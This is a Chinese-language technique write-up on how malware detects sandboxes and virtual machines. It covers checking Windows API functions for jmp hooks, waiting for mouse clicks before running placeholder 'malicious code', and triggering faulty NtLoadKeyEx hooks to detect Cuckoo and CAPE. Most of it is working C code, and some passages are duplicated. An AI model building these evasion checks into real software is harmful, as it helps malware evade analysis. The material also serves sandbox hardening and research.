描述
该技术通过检测主机是否存在不同于正常主机的HOOK来判断当前环境是否为虚拟环境。
1.检查系统函数内是否设置了HOOK
恶意软件可以获取或控制系统中的其他进程的内存,并检查Windows api函数是否被挂钩,如果被挂钩则不运行,从而规避检测。
以ReadProcessMemory函数为例:
以ReadProcessMemory函数为例:
#include <windows.h>
#include <stdio.h>
// 定义要检查的windows api函数
#define TARGET_API "MessageBoxA"
// 检查windows api函数是否被挂钩
BOOL CheckAPIHook()
{
// 获取user32.dll模块的句柄
HMODULE hUser32 = GetModuleHandle("user32.dll");
if (hUser32 == NULL)
{
printf("GetModuleHandle failed: %d\n", GetLastError());
return FALSE;
}
// 获取目标api函数的地址
FARPROC pTargetAPI = GetProcAddress(hUser32, TARGET_API);
if (pTargetAPI == NULL)
{
printf("GetProcAddress failed: %d\n", GetLastError());
return FALSE;
}
// 读取目标api函数的前5个字节
BYTE buffer[5] = { 0 };
SIZE_T bytesRead = 0;
BOOL bResult = ReadProcessMemory(GetCurrentProcess(), pTargetAPI, buffer, 5, &bytesRead);
if (!bResult)
{
printf("ReadProcessMemory failed: %d\n", GetLastError());
return FALSE;
}
// 检查目标api函数是否以jmp指令开头(0xE9)
if (buffer[0] == 0xE9)
{
// 目标api函数被挂钩了,返回真
return TRUE;
}
// 目标api函数没有被挂钩,返回假
return FALSE;
}
int main()
{
// 检查windows api函数是否被挂钩
BOOL bHooked = CheckAPIHook();
if (bHooked)
{
printf("%s is hooked, exit\n", TARGET_API);
// 这里可以退出程序或执行其他代码
return 0;
}
printf("%s is not hooked, continue\n", TARGET_API);
// 这里插入恶意代码,比如显示一个弹窗消息
MessageBoxA(NULL, "You have been infected by a malware!", "Malware Alert", MB_OK | MB_ICONWARNING);
}
以NtReadVirtualMemory函数为例:
#include <windows.h>
#include <stdio.h>
#include <ntdef.h>
// 定义要检查的windows api函数
#define TARGET_API "ReadFile"
// 定义NtReadVirtualMemory函数的原型
typedef NTSTATUS(WINAPI* NTREADVIRTUALMEMORY)(HANDLE, PVOID, PVOID, ULONG, PULONG);
// 检查windows api函数是否被挂钩
BOOL CheckAPIHook()
{
// 获取kernel32.dll模块的句柄
HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll");
if (hKernel32 == NULL)
{
printf("GetModuleHandle failed: %d\n", GetLastError());
return FALSE;
}
// 获取目标api函数的地址
FARPROC pTargetAPI = GetProcAddress(hKernel32, TARGET_API);
if (pTargetAPI == NULL)
{
printf("GetProcAddress failed: %d\n", GetLastError());
return FALSE;
}
// 获取ntdll.dll模块的句柄
HMODULE hNtdll = GetModuleHandle(L"ntdll.dll");
if (hNtdll == NULL)
{
printf("GetModuleHandle failed: %d\n", GetLastError());
return FALSE;
}
// 获取NtReadVirtualMemory函数的地址
NTREADVIRTUALMEMORY pNtReadVirtualMemory = (NTREADVIRTUALMEMORY)GetProcAddress(hNtdll, "NtReadVirtualMemory");
if (pNtReadVirtualMemory == NULL)
{
printf("GetProcAddress failed: %d\n", GetLastError());
return FALSE;
}
// 读取目标api函数的前5个字节
BYTE buffer[5] = { 0 };
ULONG bytesRead = 0;
NTSTATUS status = pNtReadVirtualMemory(GetCurrentProcess(), pTargetAPI, buffer, 5, &bytesRead);
if (!NT_SUCCESS(status))
{
printf("NtReadVirtualMemory failed: %x\n", status);
return FALSE;
}
// 检查目标api函数是否以jmp指令开头(0xE9)
if (buffer[0] == 0xE9)
{
// 目标api函数被挂钩了,返回真
return TRUE;
}
// 目标api函数没有被挂钩,返回假
return FALSE;
}
int main()
{
// 检查windows api函数是否被挂钩
BOOL bHooked = CheckAPIHook();
if (bHooked)
{
printf("%s is hooked, exit\n", TARGET_API);
// 这里可以退出程序或执行其他代码
return 0;
}
printf("%s is not hooked, continue\n", TARGET_API);
// 这里插入恶意代码,比如显示一个弹窗消息
MessageBoxA(NULL, "You have been infected by a malware!", "Malware Alert", MB_OK | MB_ICONWARNING);
}
2.通过鼠标钩子检查用户点击
恶意软件可以设置鼠标挂钩来检测是否单击,如果未检测到鼠标单击则不运行,从而规避检测。
以SetWindowsHookExA/W函数为例:
以SetWindowsHookExA/W函数为例:
#include <windows.h>
#include <stdio.h>
// 定义全局变量
HHOOK g_hMouseHook = NULL; // 鼠标挂钩句柄
BOOL g_bClicked = FALSE; // 鼠标单击标志
// 定义鼠标挂钩过程
LRESULT CALLBACK MouseHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
// 如果nCode是HC_ACTION,表示可以处理这个消息
if (nCode == HC_ACTION)
{
// 根据wParam判断鼠标消息类型
switch (wParam)
{
case WM_LBUTTONDOWN: // 左键按下
case WM_RBUTTONDOWN: // 右键按下
case WM_MBUTTONDOWN: // 中键按下
// 设置鼠标单击标志为真
g_bClicked = TRUE;
break;
default:
break;
}
}
// 调用下一个挂钩过程
return CallNextHookEx(g_hMouseHook, nCode, wParam, lParam);
}
// 定义恶意代码函数
void MaliciousCode()
{
// 打印一条消息
printf("Malicious code executed!\n");
}
int main()
{
// 设置鼠标挂钩,监视所有线程的鼠标消息
// 使用user32.dll的模块句柄
g_hMouseHook = SetWindowsHookEx(WH_MOUSE, MouseHookProc, GetModuleHandle("user32.dll"), 0);
if (g_hMouseHook == NULL)
{
printf("SetWindowsHookEx failed: %d\n", GetLastError());
return -1;
}
// 循环检查鼠标单击标志
while (TRUE)
{
// 如果鼠标单击标志为真,执行恶意代码并退出循环
if (g_bClicked)
{
MaliciousCode();
break;
}
// 否则,让出CPU时间片,避免占用过多资源
else
{
Sleep(100);
}
}
// 卸载鼠标挂钩
UnhookWindowsHookEx(g_hMouseHook);
return 0;
}
以GetAsyncKeyState函数为例:
#include <windows.h>
#include <stdio.h>
// 定义全局变量
BOOL g_bClicked = FALSE; // 鼠标单击标志
// 定义弹窗消息函数
void PopupMessage()
{
// 这里插入恶意代码,比如显示一个弹窗消息
MessageBoxA(NULL, "You have been infected by a malware!", "Malware Alert", MB_OK | MB_ICONWARNING);
}
int main()
{
// 循环检查鼠标单击标志
while (TRUE)
{
// 如果检测到鼠标左键、右键或中键被按下
if (GetAsyncKeyState(VK_LBUTTON) & 0x8000 || GetAsyncKeyState(VK_RBUTTON) & 0x8000 || GetAsyncKeyState(VK_MBUTTON) & 0x8000)
{
// 设置鼠标单击标志为真
g_bClicked = TRUE;
}
// 如果鼠标单击标志为真,执行弹窗消息并退出循环
if (g_bClicked)
{
PopupMessage();
break;
}
// 否则,让出CPU时间片,避免占用过多资源
else
{
Sleep(100);
}
}
return 0;
}
3.检查是否有错误挂钩的函数
ntdll.dll中有 400 多个本机 API 函数(或 Nt 函数),这些函数通常挂接到沙箱中。在如此大的列表中有足够的空间容纳不同类型的错误。我们检查了流行沙箱中挂钩的 Nt 函数,发现了几个问题。其中之一是对挂钩函数中的参数缺乏必要的检查。
另一个问题是挂钩函数和原始函数中的参数数量存在差异。如果函数挂钩不正确,在内核模式下可能会导致操作系统崩溃,可能会导致恶意软件分析的应用程序崩溃或被检测到。
举个例子,NtLoadKeyEx函数首次在 Windows Server 2003 中引入,只有 4 个参数。从Windows Vista开始到最新版本的Windows 10,它有8个参数:
另一个问题是挂钩函数和原始函数中的参数数量存在差异。如果函数挂钩不正确,在内核模式下可能会导致操作系统崩溃,可能会导致恶意软件分析的应用程序崩溃或被检测到。
举个例子,NtLoadKeyEx函数首次在 Windows Server 2003 中引入,只有 4 个参数。从Windows Vista开始到最新版本的Windows 10,它有8个参数:
; Exported entry 318. NtLoadKeyEx
; Exported entry 1450. ZwLoadKeyEx
; __stdcall NtLoadKeyEx(x, x, x, x, x, x, x, x)
public _NtLoadKeyEx@32
然而,在 Cuckoo 中 NtLoadKeyEx函数声明只有 4 个参数:
* POBJECT_ATTRIBUTES TargetKey
* POBJECT_ATTRIBUTES SourceFile
** ULONG Flags flags
** HANDLE TrustClassKey trust_class_key
因此,如果沙箱使用最新的 Windows 操作系统,则该函数会被错误挂钩。调用错误挂钩的函数后,堆栈指针值将无效。因此,通过RegLoadAppKeyW函数(调用NtLoadKeyEx )的合法调用会导致异常。只需调用一次RegLoadAppKeyW函数即可规避 Cuckoo 和 CAPE 沙箱。
RegLoadAppKeyW(L"storage.dat", &hKey, KEY_ALL_ACCESS, 0, 0);
// If the application is running in a sandbox an exception will occur
// and the code below will not be executed.
// Some legitimate code that works with hKey to distract attention goes here
// ...
RegCloseKey(hKey);
// Malicious code goes here
// ...
我们页可以直接调用NtLoadKeyEx函数并在调用后检查 ESP 值:
__try
{
_asm mov old_esp, esp
NtLoadKeyEx(&TargetKey, &SourceFile, 0, 0, 0, KEY_ALL_ACCESS, &hKey, &ioStatus);
_asm mov new_esp, esp
_asm mov esp, old_esp
if (old_esp != new_esp)
printf("Sandbox detected!");
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
printf("Sandbox detected!");
}